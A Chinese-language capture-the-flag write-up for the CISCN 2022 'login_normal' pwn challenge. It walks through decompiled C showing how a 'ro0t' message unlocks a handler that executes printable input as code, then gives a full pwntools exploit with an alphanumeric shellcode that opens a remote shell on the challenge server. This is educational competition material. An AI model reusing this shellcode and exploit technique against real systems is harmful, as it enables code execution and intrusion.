[CISCN 2022 初赛]login_normal

尝试做了一下前年的ciscn,好难

一道考可视化shellcode的题

但代码审计也会考

下面的这一段功能是告诉我们命令的匹配方法是怎样的

unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
  char *sa; // [rsp+8h] [rbp-48h]
  char *sb; // [rsp+8h] [rbp-48h]
  char *sc; // [rsp+8h] [rbp-48h]
  char *sd; // [rsp+8h] [rbp-48h]
  char v7; // [rsp+17h] [rbp-39h]
  int v8; // [rsp+1Ch] [rbp-34h]
  int v9; // [rsp+2Ch] [rbp-24h]
  void *dest; // [rsp+30h] [rbp-20h]
  char *s1; // [rsp+38h] [rbp-18h]
  char *nptr; // [rsp+40h] [rbp-10h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));
  v8 = 0;
  v7 = 0;
  dest = 0LL;
  while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      qword_202040[2 * v8] = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)qword_202040[2 * v8];
    nptr = (char *)qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
  *a1 = 0;
  sa = a1 + 1;
  if ( *sa == 10 )
    *sa = 0;
  switch ( v7 )
  {
    case 2:
      sub_DA8(dest);
      break;
    case 3:
      sub_EFE(dest);
      break;
    case 1:
      sub_CBD(dest);
      break;
    default:
      puts("error.");
      exit(6);
  }
  return __readfsqword(0x28u) ^ v13;
}

opt:v7(\r)\n+msg:dest(\r)\n

只有匹配到这种格式的才是合法的命令,不然就会报错退出。

需要注意的是,由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节才能使得正确的msg成为dest。

unsigned __int64 __fastcall sub_DA8(const char *a1)
{
  unsigned int v1; // eax
  size_t v2; // rax
  int i; // [rsp+14h] [rbp-2Ch]
  void *dest; // [rsp+18h] [rbp-28h]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( unk_202028 != 1 )
  {
    puts("oh!");
    exit(-1);
  }
  if ( unk_202024 )
  {
    v1 = getpagesize();
    dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
    v2 = strlen(a1);
    memcpy(dest, a1, v2);
    ((void (*)(void))dest)();
  }
  else
  {
    puts(a1);
  }
  return __readfsqword(0x28u) ^ v6;
}

当v7为2时就会调用这个函数,它会检测两个全局变量的值是否为1,如果都为1就会将dest的内容作为shellcode执行。因此我们需要传入一个可视字符的shellcode。

而要改变这两个全局变量,就要先执行v7为1时对应的一个函数,要求dest指向的内容为ro0t即可改变这两个变量。

 

unsigned __int64 __fastcall sub_CBD(const char *a1)
{
  int i; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( !isprint(a1[i]) && a1[i] != 10 )
    {
      puts("oh!");
      exit(-1);
    }
  }
  if ( !strcmp(a1, "ro0t") )
  {
    unk_202028 = 1;
    unk_202024 = 1;
  }
  else
  {
    unk_202028 = 1;
  }
  return __readfsqword(0x28u) ^ v3;
}

最后exp如下

from pwn import *
import ctypes
#moban
context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' +str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.anna.nssctf.cn',28477)
else:
    r = process(file_name)

#elf = ELF(file_name)
#libc=ELF('/home/zc/Desktop/libc-2.31.so')

def dbg():
    gdb.attach(r)
shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\r\n'+'msg:ro0t\r\n'
payload2='opt:2\r\n'+'msg:'+shellcode+'\r\n'

#payload1 = b'opt:1\n' + b'msg:ro0tt\n'
#dbg()
#pause()
r.sendlineafter('>>> ',payload1)
r.sendlineafter('>>> ',payload2)
r.interactive()

 

 

posted @ 2024-05-02 23:56  404cheny  阅读(99)  评论(0编辑  收藏  举报
//雪花飘落效果